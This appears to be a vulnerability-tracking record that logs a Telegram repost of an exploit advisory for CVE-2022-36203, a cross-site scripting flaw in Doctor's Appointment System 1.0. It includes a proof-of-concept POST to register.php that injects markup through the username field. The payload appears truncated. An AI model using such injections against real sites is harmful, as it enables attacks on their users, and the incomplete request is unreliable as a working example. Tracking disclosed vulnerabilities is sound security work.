{"uuid": "becabb88-37c5-46e6-81ab-d83fe0b12853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36203", "type": "seen", "source": "https://t.me/hacking_Attack/67590", "content": "Exploit Collector\nDoctor's Appointment System 1.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nDoctor's Appointment System version 1.0 suffers from a cross site scripting vulnerability in register.php. Original discovery of cross site scripting in this version is attributed to Soham Bakore in February of 2021.\n\nSHA-256 | a044d93c49b403d6f81a3f003fc06d37bc230c31adb301f2bd75449461272144\n\nDownload\n# Exploit Title: Doctor's Appointment System v1.0 - Cross-Site Scripting (XSS)\n# Google Dork: N/A\n# Date: 7/13/2022\n# Exploit Author: Abdullah Zaid - @_aznull\n# Vendor Homepage:\nhttps://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html\n# Software Link:\nhttps://www.sourcecodester.com/sites/default/files/download/hshnudr/edoc-doctor-appointment-system-main_1.zip\n# Version: 1.0\n# Tested on: Linux\n# CVE : CVE-2022-36203\n\nPOC:\n\nPOST /register.php HTTP/1.1\nHost: localhost\n\nusername=a\">&password=123\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:25.394744Z"}